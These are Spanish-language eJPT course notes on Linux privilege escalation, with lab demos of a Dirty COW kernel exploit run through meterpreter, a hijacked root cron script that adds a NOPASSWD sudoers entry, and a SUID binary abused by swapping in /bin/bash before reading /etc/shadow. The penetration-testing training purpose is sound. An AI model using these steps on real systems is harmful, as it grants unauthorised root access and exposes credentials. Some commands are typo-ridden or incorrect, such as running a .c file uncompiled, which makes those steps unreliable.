eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Linux Kernel Exploits
  • Tools & Environment
  • Demo: Linux Kernel Exploits
  • Quiz
  • Exploiting Misconfigured Cron Jobs
  • Cron Jobs
  • Exploiting Misconfigured Cron Jobs
  • Demo: Exploiting Misconfigured Cron Jobs
  • Quiz
  • Exploitting SUID Binaries
  • Demo: Exploiting SUID Binaries
  • Quiz
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: System/Host Based Attacks

Linux Privilege Escalation

Linux Kernel Exploits

Los exploits del kernel en Linux normalmente apuntan a vulnerabilidades en el kernel de Linux para ejecutar código arbitrario con el fin de ejecutar comandos privilegiados del sistema u obtener un shell del sistema.

Este proceso diferirá según la versión y distribución del kernel objetivo y el exploit del kernel que se utilice.

La escalada de privilegios en sistemas Linux normalmente seguirá la siguiente metodología:

  • Identificar vulnerabilidades del kernel

  • Descargar, compilar y transferir exploits del kernel al sistema de destino.

Tools & Environment

Linux-Exploit-Suggester: Esta herramienta está diseñada para ayudar a detectar deficiencias de seguridad para una determinada máquina basada en Linux/kernel de Linux. Evalúa (utilizando métodos heurísticos) la exposición del kernel dado en cada kernel de Linux conocido públicamente. explotar.

GitHub: https://github.com/mzet-/linux-exploit-sugester

Nota: Las técnicas demostradas en los siguientes passos son realizados en un Ubuntu 12.04

VM

Si ejecuta vulnerabilidades de Kernel que no son compatibles con la version especifica o la version especifica de kernel ejecutandose en el Target, entonces puede causar bloqueos o Kernel Panic, lo que puede conducir a perdida de datos

Tenga mucho cuidado con los tipos de Vulnerabilidades del Kernel

Demo: Linux Kernel Exploits

# Una vez ya dentro del sistema objetivo, podemos realizar las siguientes 
meterpreter> sysinfo
# En la seccion de "OS" nos indicara la version de Linux y la version de Kernel.
# Recopilar la informacion de los privilegios con los que cuenta el usuario
meterpreter> getuid
# El usuario no tendra ningun privilegio como el usuario comun "www-data"

# Descarge el script "https://github.com/mzet-/linux-exploit-sugester" y transferir
# al objetivo
meterpreter> upload ~/Desktop/Linux-Enum/Les.sh
# Ingresamos por shell
meterpreter> shell
# Cambiamos a un formato de bin/bash
/bin/bash -i
www-data@ubuntu$ cd /tmp
www-data@ubuntu$ ls
www-data@ubuntu$ chmod +x les.sh
www-data@ubuntu$ ls -alps
www-data@ubuntu$ ./les.sh

# Despues de ejecutar el escript va enumerar una lista de vulnerabilidades que 
# esencialmente o mas bien una lista de exploit que esta la version en particular
# de Linux se puede explotar

# El Script tambien trae consigo la informacion mas importante del servidor como:
# La version del Kernel, Arquitectura, Distribucion y version de la Distribucion

# Cada Vulnerabilidad tiene su respectivo CVE
# Los exploits en la parte superior son las que tiene mayor probabilidad de exito
# 

# Se debe de entender muy bien la estructura del Codigo del exploit y tambien los
# requerimientos para ejecutar

# Existe exploit que se pueden copilar desde la maquina del atacante o desde la 
# maquina del objetivo

# Para este ejemplo se utilizara el exploit 40839, el exploit necesita copilarse en 
# el equipo del objetivo
meterpreter> upload /home/kali/Downloads/dirty.c
meterpreter> shell
/bin/bash -i
www-data@ubuntu$ cd /tmp
www-data@ubuntu$ chmod +x dirty.c

www-data@ubuntu$ ./dirty.c Password.123
# Se creara un usuario "Firefart" con la contraseña "Password.123"
# El usuario tendra los privilegios de ROOT

Quiz

Exploiting Misconfigured Cron Jobs

Cron Jobs

Linux implementa la programación de tareas a través de una utilidad llamada Cron.

Cron es un servicio basado en el tiempo que ejecuta aplicaciones, scripts y otros comandos repetidamente según un cronograma específico o en un horario especifico.

Una aplicación o script que se ha configurado para ejecutarse repetidamente con Cron se conoce como Cron Job. Cron se puede utilizar para automatizar o repetir una amplia variedad de funciones en un sistema, desde copias de seguridad diarias hasta actualizaciones y parches del sistema.

El archivo crontab es un archivo de configuración que utiliza la utilidad Cron para almacenar y realizar un seguimiento (track) de los Cron Jobs que se han creado.

Exploiting Misconfigured Cron Jobs

Los Cron Jobs también se pueden ejecutar como cualquier usuario del sistema; este es un factor muy importante a tener en cuenta, ya que nos centraremos en los Cron Jobs que se han configurado para ejecutarse como usuario "root".

Esto se debe principalmente a que cualquier script o comando que se ejecute mediante un Cron Job se ejecutará como usuario root y, en consecuencia, nos proporcionará acceso de root.

Para elevar nuestros privilegios, necesitaremos encontrar e identificar Cron Jobs programados por el usuario root o los archivos que procesa el trabajo cron.

Demo: Exploiting Misconfigured Cron Jobs

whomai
# Ver de que los grupos de los cuales forma parte el usuario
groups <User>

# Identificar el usuario privelegiado root
cat /etc/passwd

# Verificcar los cron job que se programado con el usuario auhtenticado <User>
crontab -l

# Verificcar los cron job que se programaron con el usuario root, lo cual requiere
# mucha enumeracion

# Identificar un archivo (message) que el propietario sea de la cuenta root
ls -la

# Si intentamos abrir el archivo encontrado que es del usuario root.
# nos dira Permission Denied por que es de propiedad del usuario root
# Buscar e identificar la ruta del script, que ejecuta con cronjob

# El comando busca recursivamente en todos los archivos bajo el directorio /usr 
# la cadena /home/student/message, mostrando la ubicación de las coincidencias y el
# número de línea donde se encuentran.
grep -rnw /usr -e "/home/student/message"

# Identificar si el archivo es:
# 1. Propiedad de la cuenta root
# 2. Identificar que que tenga permisos de lectura/escritura/ejecucion 
#    para el grupo
ls -al /usr/local/share/copy.sh
cat /usr/local/share/copy.sh

# Vamos a buscar la manera de modificar el archivos
printf '#!/bin/bash\necho "student" ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
 
# Verificar que el usuario puede ejecutar todos los comandos sin ninguna contraseña
sudo -l

sudo su
whoami
cd /root
ls

crontab -l

Quiz

Exploitting SUID Binaries

Además de los tres permisos principales de acceso a archivos (lectura, escritura y ejecución), Linux también proporciona a los usuarios permisos especializados que pueden utilizarse en situaciones específicas. Uno de estos permisos de acceso es el permiso SUID (Set Owner User ID - Establecer ID de usuario del propietario).

Cuando se aplica, este permiso brinda a los usuarios la capacidad de ejecutar un script o binario con los permisos del propietario del archivo en lugar del usuario que ejecuta el script o binario.

Los permisos SUID se utilizan normalmente para proporcionar a los usuarios sin privilegios la capacidad de ejecutar scripts o archivos binarios específicos con permisos "root". Cabe señalar, sin embargo, que la provisión de privilegios elevados se limita a la ejecución del script y no se traduce en elevación de privilegios; sin embargo, si los usuarios sin privilegios están configurados incorrectamente pueden aprovechar configuraciones incorrectas o vulnerabilidades dentro del binario o script para obtener una sesión elevada.

Esta es la funcionalidad que intentaremos explotar para elevar nuestros privilegios, sin embargo, el éxito de nuestro ataque dependerá de los siguientes factores:

  • Owner of the SUID binary: Dado que estamos intentando elevar nuestros privilegios, solo explotaremos los binarios SUID que sean propiedad del usuario "root" u otros usuarios privilegiados.

  • Access permissions: Necesitaremos permisos de ejecución para poder ejecutar el binario SUID.

El objetivo es identificar una vulnerabilidad dentro de ese binario que esencialmente podemos aprovechar y tener.

Demo: Exploiting SUID Binaries

whomai
# Ver de que los grupos de los cuales forma parte el usuario
groups <User>

# Identificar el usuario privelegiado root
cat /etc/passwd

# Identificar un archivo que tenga los privilegios de S es el permiso de SUID
# y que el propietario sea de la cuenta root
ls -la

# El comando examinará el contenido del archivo llamado 
# y tratará de identificar su tipo basándose en ciertas 
# características distintivas del contenido del archivo
file <NombreArchivo>

# Analisis statico / Buscar y entender 
# En este ejemplo el script Welcome ejecuta el archivo greetings
strings welcome

rm greetings

# Elevacion de Privilegios
cp /bin/bash greetings
./welcome

whoami
cat /etc/shadow

Explorar las diversas tecnicas de explotacion para SUID

Quiz

PreviousExploiting Linux VulnerabilitiesNextLinux Credential Dumping

Last updated 4 months ago